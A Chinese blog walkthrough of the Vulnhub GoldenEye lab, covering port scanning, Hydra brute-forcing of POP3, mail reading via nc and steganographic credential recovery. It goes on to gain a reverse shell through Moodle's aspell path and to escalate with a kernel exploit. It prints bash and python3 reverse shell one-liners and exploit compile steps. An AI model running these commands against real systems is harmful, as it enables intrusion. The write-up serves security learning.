Vulnhub-靶场案例-GoldenEye

Vulnhub-靶场案例-GoldenEye

一、GoldenEye-信息打点-密码爆破-读取敏感邮件信息(一)

在官网下载靶场文件,用VMware打开,网络设置为NAT模式

在kali上扫描本网络中存活的设备

image-20240813165532916

进入靶场

image-20240813170208235

1、信息采集

服务器识别
image-20240813170922979

目录扫描

image-20240813170308720

image-20240813213030881

用nmap进行端口扫描,有一个邮件服务的,还有两个后面可能用得上

image-20240813170318336

查看源码,总算有一个东西了

image-20240813170951785

var data = [
  {
    GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"
  }
];

//大致意思就是告诉Boris,确保要更新默认密码,默认密码是编码过的,BTW=by the way,顺带说一下,Natalya能搞代码
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
//
//BTW Natalya says she can break your codes
//

var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {
  var currentElementId = allElements[j].id;
  var currentElementIdContent = data[0][currentElementId];
  var element = document.getElementById(currentElementId);
  var devTypeText = currentElementIdContent;

 
  var i = 0, isTag, text;
  (function type() {
    text = devTypeText.slice(0, ++i);
    if (text === devTypeText) return;
    element.innerHTML = text + `<span class='blinker'>&#32;</span>`;
    var char = text.slice(-1);
    if (char === "<") isTag = true;
    if (char === ">") isTag = false;
    if (isTag) return type();
    setTimeout(type, 60);
  })();
}

不输入账号密码提示401未授权,验证逻辑就是HTTP请求包中Authorization内容

image-20240813190805028

经验判断,应该是Unicode编码的,后面查了下资料,专业名称叫numeric character reference(NCR),直译就是数字字符引用

image-20240813171538505

image-20240813191027543

登陆后能看到提示,关键词是邮件、系统管理员、POP3、端口,POP3服务运行在一个不是高频的默认端口

POP3 采用的是“拉”(Pull)的通信方式,当用户读取邮件时,用户代理向邮件服务器发出请求,“拉”取用户邮箱中的邮件, 首先要进行认证,然后才可以进入事务阶段,进行获取邮件

那么现在我们已知的信息有:25端口 SMTP协议、55006端口 未知、55007端口 未知

其中两个未知端口之一大概率是POP3服务端口

image-20240813174200279

还是用nmap进行端口扫描

nmap -sS -sV -T5 -A -p55006,55007 192.168.182.131
-sS 是利用SVN参数,在TCP的三次握手中只有两次会带有SVN,这种方法比全连接扫描更快,且更难以被检测到
-sV 表示尝试识别目标主机上开放端口的服务版本信息
-T5 设置扫描的激进程度为:5
-A  这个选项启用了操作系统检测和服务版本检测的组合,等同于 -O 和 -sV 的组合
-p  指定端口

image-20240813180602006

2、POP3协议利用

利用账号密码:boris:InvincibleHack3r 的授权无回显,那么现在的思路就是利用POP3协议和密码爆破,因为我们已知的信息里有两个账号,其中一个Unicode编码的密码是首页的,那么POP3的密码大概率就是默认密码,而账号有可能是两个中的一个,也有可能两个都有

image-20240813191405982

image-20240813191841049

我们现在已知:POP3协议、两个账号:boris,natalya

利用九头蛇(Hydra)工具暴力破解

Hydra格式

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
echo -e ‘natalya\nboris’ > username.txt
//-L指用户名字典 -P指密码字典 -s指端口号 
hydra -L username.txt -P /usr/share/wordlists/fasttrack.txt 192.168.182.131 -s 55007 pop3

image-20240813195939808

得到两组账号密码

image-20240813200930371

[55007][pop3] host: 192.168.182.131 login: natalya password: bird
[55007][pop3] host: 192.168.182.131 login: boris password: secret1!

先登陆boris的邮箱看看

使用nc连接pop3服务器进行邮件的接收

nc 192.168.182.131 55007 —登录邮箱
user boris —登录用户
pass secret1! —登录密码
list —查看邮件数量
retr 1~3 —查看邮件内容

邮件1 goldeneye -> boris

retr 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.

邮件2 natalya -> boris

retr 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!

邮件3 alec -> boris

+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.

译文

1.鲍里斯,这是管理员。您可以在此处以电子方式与同事和学生进行交流。我不打算扫描电子邮件中的安全风险,因为我相信您和这里的其他管理员。

2.鲍里斯,我可以破解你的密码!

3.鲍里斯

您与我们的辛迪加合作将获得丰厚的回报。附上GoldenEye的最终访问代码。将它们放在此服务器根目录中的隐藏文件中,然后从此电子邮件中删除。这些访问代码只能有一组,我们需要保护它们以进行最终执行。如果他们被找回并俘虏,我们的计划将崩溃并燃烧!

一旦Xenia进入培训现场并熟悉GoldenEye Terminal代码,我们将进入最后阶段。

PS - 保持安全严密,否则我们将受到损害。

再登陆natalya的邮箱看看

nc 192.168.182.131 55007 —登录邮箱
user natalya —登录用户
pass bird —登录密码
list —查看邮件数量
retr 1~2 —查看邮件内容

邮件1 root -> natalya

+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.

邮件2 root -> natalya

+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

译文

1.娜塔莉亚,拜托你不要再破解鲍里斯的密码了。此外,您是 GNO 的培训主管。一旦为您指定了学生,我就会给您发送电子邮件。

此外,要小心可能的网络漏洞。我们得到的情报表明,GoldenEye 正在被一个名为 Janus 的犯罪集团追捕。

2.好的,娜塔琳,我有一位新学生给你。由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,特别是它与安全性有关......即使不是,也只需打着“安全”的幌子进入它......它将在没有太多麻烦的情况下升级变更订单:)

好的,用户信任是:

用户名: Xenia
密码:RCP90rulez!

鲍里斯将她验证为有效的承包商,因此只需创建帐户即可,好吗?

如果您在外部内部域上没有 URL:severnaya-station.com/gnocertdir
**请确保编辑您的主机文件,因为您通常在网络外远程工作。

由于您是 Linux 用户,只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。

阅读理解得到关键信息

  1. 娜塔琳是 Linux 用户,只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com
  2. 用户名: Xenia
    密码:RCP90rulez!
vim /etc/hosts     -----打开hosts文件
192.168.182.131 severnaya-station.com    --添加进去

二、GoldenEye-CMS-图片隐写-反弹shell-提权(二)

The goal is to get root and capture the secret GoldenEye codes - flag.txt

登陆界面登陆

image-20240814160826622

LMS系统,服务器是apache2,编程语言是php

image-20240814162644164

这有一条有效信息

image-20240814161435660

问候 Xenia,作为我们 GoldenEye 培训的新承包商,我欢迎您。一旦您的帐户完成,更多课程将出现在您的仪表板上。如果您有任何问题,请通过电子邮件给我留言,而不是在这里。我的电子邮件用户名是...doak 谢谢你,干杯,Doak 博士“医生” 培训科学家 - 高级培训运营主管 GoldenEye 运营中心部门 14 级 - NO2 - id:998623-1334 校园 4,57 号楼,8 层,6 区,立方体 1,007 电话 555-193-826 手机 555-836-0944 办公室 555-846-9811 个人 555-826-9923 电子邮件:doak@ 请在打印前回收,保持绿色,又名节省公司资金!“有一种叫做好悲伤的东西。问问查理布朗“——某个人”你错过了 100% 你没有投篮的镜头“——韦恩 G. 这是一条安全消息,不要发送它

现在已知账户:doak,按照之前的思路还是先试试能不能用九头蛇搞到doak的邮箱密码

hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.182.131 -s 55007 pop3

image-20240814163254966

得到密码:goat

image-20240814163537266

用nc进入邮箱查看(因为尝试登陆但登陆失败),得到

username: dr_doak
password: 4England!

Doak -> James

+OK 606 octets
Return-Path: <doak@ubuntu>
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 97DC24549D
        for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu

James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!

登陆后遍历目录,在My private files目录下找到一个文本文档

image-20240814163833679

007,
I was able to capture this apps adm1n cr3ds through clear txt. 
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

现在有两个信息

  1. adm1n cr3ds 这两玩意很像账号密码
  2. /dir007key/for-007.jpg 一些juicy的东西

image-20240814164037423

尝试用adm1n cr3ds登陆能登陆的地方,都失败了,很明显的是,这货不会在My private files目录下放一张莫名其妙的图片

把图片下载到本地,用010 Editor这个软件打开,很明显有base64加密信息

image-20240814165213367

账号:GoldenEye 密码:xWinter1995x!

image-20240814165301285

用这个账号密码登陆失败,GoldenEye是服务器名字,但是我们现在可以确定的是这个base64加密的密码,那就试试admin账号

可以正常登陆管理员,我们现在是拿到了管理学后台权限

image-20240814175530345

我们现在的思路是找有没有一些能get shell的点,比如说文件上传,RCE,文件包含等等

果然找到一个上传点,试一下呗

image-20240814191007157

先上传一个正常的图片,一访问图片路径就直接下载了

image-20240814191517834

image-20240814191649819

再改一下文件后缀试试看,不能执行,一访问就直接下载了,暂时先放弃这个思路

image-20240814191802218

image-20240814191848058

查看网站源代码,结合前面信息采集得到的

image-20240814192918122

image-20240814192834445

image-20240814193846316

再点点看,找到一个编辑器,是Goole Spell的,为什么要特意提一句呢?因为后面有和HTML编辑器相关的,这个需要改为PSpellShell

image-20240814211730307

在服务器这块找到一个很明显的提示是反弹shell的语句,默认就有的

image-20240814194055618

image-20240814194458270

在添加新条目这块有个拼写检查,那么可以大致确定逻辑了,在系统路径这块如果在编辑中使用了拼写检查就会触发到 aspell 的路径,也就是反弹shell

image-20240814194641504

开启监听,用插件生成反弹shell的命令,并没有什么反应

/bin/bash -i >& /dev/tcp/192.168.182.131/2233 0>&1

image-20240814195108474

image-20240814195238741

用python3的命令试试,可以看到再点击拼写检查的时候就一直在加载了,此时我们拿到了普通用户的shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.182.136",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

image-20240814200144630

image-20240814200233593

看一下当前用户对存放用户信息,账号密码,是否能执行 sudo,结果都是普通用户的权限

ls /etc/passwd /etc/shadow /etc/sudoers -la

image-20240814201016951

find / -perm -u=s -type f 2>/dev/null   查找是否有setuid权限,解释:在 Unix 和类 Unix 操作系统(如 Linux)中。当一个程序或可执行文件具有 setuid 权限时,该程序在执行时将以文件所有者的用户身份(User ID, UID)运行,而不是以执行该程序的用户的用户身份运行
uname -a    显示系统的详细信息
searchsploit ubuntu 3.13.0   看系统是否有漏洞

image-20240814201725814

image-20240814201950242

searchsploit ubuntu -m 37292.c     找到具体的漏洞利用文件 37292.c并保存,其中内容有提示命令
image-20240814203335167

image-20240814203854360

python3 -m http.server --bind 0.0.0.0 80   启动HTTP服务,在普通用户shell中下载

image-20240814204051384

接下来就按照漏洞利用文件里面的提示输入命令

//提示内容  
//gcc ofs.c -o ofs     
//./ofs
id
gcc 1.c -o 36d
cc
cc 1.c -o 36d
./36d

试了下没有gcc命令,有cc命令,但是都还是不能提权

image-20240814205218283

image-20240814205253909

既然系统用cc没有gcc,但是cc却不好使,还报错 gcc not found ,在c文件中有一个gcc的系统命令,把这个改成cc

image-20240814205435282

image-20240814205746599

cc 2.c -o 36d
./36d

image-20240814205857467

成功提权,找到flag

image-20240814205918311

image-20240814210458237

image-20240814211433983

欢迎大家关注我的公众号,获取详细的网安学习成长路线图

c908c531a1c81e2680e0e7361453052

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值